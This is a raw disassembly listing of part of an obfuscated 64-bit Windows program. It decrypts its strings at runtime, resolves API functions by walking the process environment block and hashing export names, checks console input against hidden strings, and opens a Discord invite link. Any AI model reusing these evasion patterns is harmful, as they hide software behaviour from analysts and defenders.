mov byte [rbp + 0x600], al
mov r8d, r14d
cmp r13d, 2
jl 0x14003100b
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0x5e4]
mov edx, dword [rbp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140030f20
cmp r8d, 0x21
jge 0x140031050
movsxd rax, r8d
lea r9, [rbp + 0x5e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140031020
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x3b8]
call fcn.140020bb0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x3d8]
call fcn.14003e710
nop
lea rcx, [rbp + 0x3d8]
call fcn.140022b70
movzx ebx, al
lea rcx, [rbp + 0x3d8]
call fcn.1400222c0
nop
lea rcx, [rbp + 0x3b8]
call fcn.140020b50
movdqa xmm14, xmmword [0x140055360]
movdqa xmm15, xmmword [0x140055370]
test bl, bl
je 0x14003149e
movups xmm2, xmmword [str.bAQC_XMJ]
movups xmmword [rbp + 0x1b8], xmm2
movsd xmm0, qword [0x14004b958]
movsd qword [rbp + 0x1c8], xmm0
movzx eax, byte [0x14004b960]
mov byte [rbp + 0x1d0], al
mov r8d, r14d
movdqa xmm13, xmmword [0x140055350]
movdqa xmm12, xmmword [0x140055340]
cmp r13d, 2
jl 0x140031385
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1b8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c0]
xorps xmm2, xmm1
movd dword [rbp + 0x1c0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c4]
xorps xmm2, xmm1
movd dword [rbp + 0x1c4], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c8]
xorps xmm2, xmm1
movd dword [rbp + 0x1c8], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400313a0
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x3f8]
call fcn.140020bb0
mov rcx, rax
call fcn.140022c80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xddacb007
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031471
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031450
cmp r8d, 0xf892056a
je 0x14003147b
test r9d, r9d
jne 0x140031430
mov rax, qword [rax]
jmp 0x140031400
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
jmp 0x140031e69
mov eax, dword [0x14004bbd0]
mov dword [rsp + 0x7c], eax
movzx eax, word [0x14004bbd4]
mov word [rbp - 0x80], ax
mov byte [rsp + 0x7c], 0x4b
xor byte [rsp + 0x7d], 0x33
xor byte [rsp + 0x7e], 0x34
xor byte [rsp + 0x7f], 0x35
xor al, 0x36
mov byte [rbp - 0x80], al
xor byte [rbp - 0x7f], 0x37
lea rdx, [rsp + 0x7c]
lea rcx, [rbp + 0x418]
call fcn.140020bb0
mov rcx, rax
call fcn.140022c80
lea rdx, [0x14005d558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14003e760
movups xmm2, xmmword [0x14004aaa8]
movups xmmword [rbp + 0xb0], xmm2
movzx eax, byte [0x14004aab8]
mov byte [rbp + 0xc0], al
mov r8d, r14d
movdqa xmm13, xmmword [0x140055350]
movdqa xmm12, xmmword [0x140055340]
cmp r13d, 2
jl 0x1400316e4
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb0], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb4]
xorps xmm2, xmm1
movd dword [rbp + 0xb4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb8]
xorps xmm2, xmm1
movd dword [rbp + 0xb8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
mov r8d, 0x10
mov eax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140031700
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x438]
call fcn.140020bb0
mov rdx, rax
lea rcx, [0x14005d558]
call fcn.14003f260
movzx ebx, al
lea rcx, [rbp + 0x438]
call fcn.140020b50
test bl, bl
je 0x140031c1c
movsd xmm0, qword [0x14004bac8]
movsd qword [rbp + 0x10], xmm0
movzx eax, byte [0x14004bad0]
mov byte [rbp + 0x10], 0x53
xor byte [rbp + 0x11], 0x33
xor byte [rbp + 0x12], 0x34
xor byte [rbp + 0x13], 0x35
xor byte [rbp + 0x14], 0x36
xor byte [rbp + 0x15], 0x37
xor byte [rbp + 0x16], 0x38
xor byte [rbp + 0x17], 0x39
xor al, 0x3a
mov byte [rbp + 0x18], al
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x458]
call fcn.140020bb0
mov rcx, rax
call fcn.140023010
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031846
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031846
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1b6ff12c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031841
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031820
cmp r8d, 0x6461808f
je 0x14003184b
test r9d, r9d
jne 0x140031800
mov rax, qword [rax]
jmp 0x1400317d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov eax, dword [str.Q_G5]
mov dword [rsp + 0x5c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031906
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031906
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xf0dcaef0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031901
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400318e0
cmp r8d, 0x69e9d631
je 0x14003190b
test r9d, r9d
jne 0x1400318c0
mov rax, qword [rax]
jmp 0x140031890
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov r8d, r14d
cmp r13d, 2
jl 0x14003198c
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rsp + 0x5c]
xorps xmm1, xmm0
movd dword [rsp + 0x5c], xmm1
jmp 0x1400319c3
lea r9, [rsp + 0x5c]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140031991
lea rcx, [rsp + 0x5c]
call r11
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1190]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x1190]
call fcn.14003d380
nop
movups xmm0, xmmword [str.q_thb_YVMH_N_Q_913__:________R]
movups xmmword [rbp + 0x5b8], xmm0
movups xmm1, xmmword [0x14004c700]
movups xmmword [rbp + 0x5c8], xmm1
movzx eax, byte [0x14004c710]
mov byte [rbp + 0x5d8], al
mov r8d, r14d
cmp r13d, 2
jl 0x140031b2b
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0x5bc]
mov edx, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140031a40
cmp r8d, 0x21
jge 0x140031b70
movsxd rax, r8d
lea r9, [rbp + 0x5b8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140031b40
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0x1190]
call fcn.14003d2d0
mov rbx, qword [0x14005d568]
lea rcx, [0x14005d558]
call fcn.1400210c0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.14003f530
lea rcx, [rbp + 0x1190]
call fcn.14003d290
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov dword [rbp + 0x10cc], r14d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
nop
lea rcx, [rbp + 0x1238]
call fcn.14003d320
lea rcx, [rbp + 0x1238]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140031e69
movups xmm0, xmmword [str.eA__Q]
movups xmmword [rbp + 0x630], xmm0
movups xmm1, xmmword [0x14004bc48]
movups xmmword [rbp + 0x640], xmm1
mov eax, dword [0x14004bc58]
mov dword [rbp + 0x650], eax
movzx eax, byte [0x14004bc5c]
mov byte [rbp + 0x654], al
mov r8d, r14d
cmp r13d, 2
jl 0x140031d5b
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0x634]
mov edx, dword [rbp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140031c70
cmp r8d, 0x25
jge 0x140031da0
movsxd rax, r8d
lea r9, [rbp + 0x630]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140031d70
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x478]
call fcn.140020bb0
mov rcx, rax
call fcn.1400233a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140031e46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140031e46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6353dfff
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031e41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031e20
cmp r8d, 0x6e89dda2
je 0x140031e4b
test r9d, r9d
jne 0x140031e00
mov rax, qword [rax]
jmp 0x140031dd0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
nop dword [rax + rax]
lea rcx, str.start_https:__discord.gg_dGCZ2amJ8k
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r15d, dword [rdx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140031f26
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140031f26
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + r14]
add rdx, r10
mov r8d, 0x60d1f7b2
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140031f21
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140031f00
cmp r8d, 0x8cbe738c
je 0x140031f2b
test r9d, r9d
jne 0x140031ee0
mov rcx, qword [rcx]
jmp 0x140031eb0
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 4
mov rcx, r12
call r8
mov eax, dword [str.Q_G5]
mov dword [rsp + 0x60], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140031fe6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140031fe6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x5f387f19
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140031fe1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140031fc0
cmp r8d, 0x8278d6b8
je 0x140031feb
test r9d, r9d
jne 0x140031fa0
mov rax, qword [rax]
jmp 0x140031f70
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
xor r8d, r8d
cmp r13d, 2
jl 0x14003206e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rsp + 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
jmp 0x1400320b2
lea r9, [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140032080
lea rcx, [rsp + 0x60]
call r11
movsd xmm0, qword [str.89___23:]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004c7a8]
movsd qword [rbp + 0x20], xmm0
mov byte [rbp + 0x20], 0xa
xor byte [rbp + 0x21], 0x33
xor byte [rbp + 0x22], 0x34
xor byte [rbp + 0x23], 0x35
xor byte [rbp + 0x24], 0x36
xor byte [rbp + 0x25], 0x37
xor byte [rbp + 0x26], 0x38
xor byte [rbp + 0x27], 0x39
xor al, 0x3a
mov byte [rbp + 0x28], al
lea rdx, [rbp + 0x20]
call fcn.14003e360
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14004b1f0]
movups xmmword [rbp + 0xb70], xmm0
movups xmm1, xmmword [0x14004b200]
movups xmmword [rbp + 0xb80], xmm1
movups xmm0, xmmword [0x14004b210]
movups xmmword [rbp + 0xb90], xmm0
movups xmm1, xmmword [0x14004b220]
movups xmmword [rbp + 0xba0], xmm1
movups xmm0, xmmword [0x14004b230]
movups xmmword [rbp + 0xbb0], xmm0
mov eax, dword [0x14004b240]
mov dword [rbp + 0xbc0], eax
movzx eax, word [0x14004b244]
mov word [rbp + 0xbc4], ax
movzx eax, byte [0x14004b246]
mov byte [rbp + 0xbc6], al
xor r8d, r8d
cmp r13d, 2
jl 0x14003228d
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0xb74]
mov r9d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
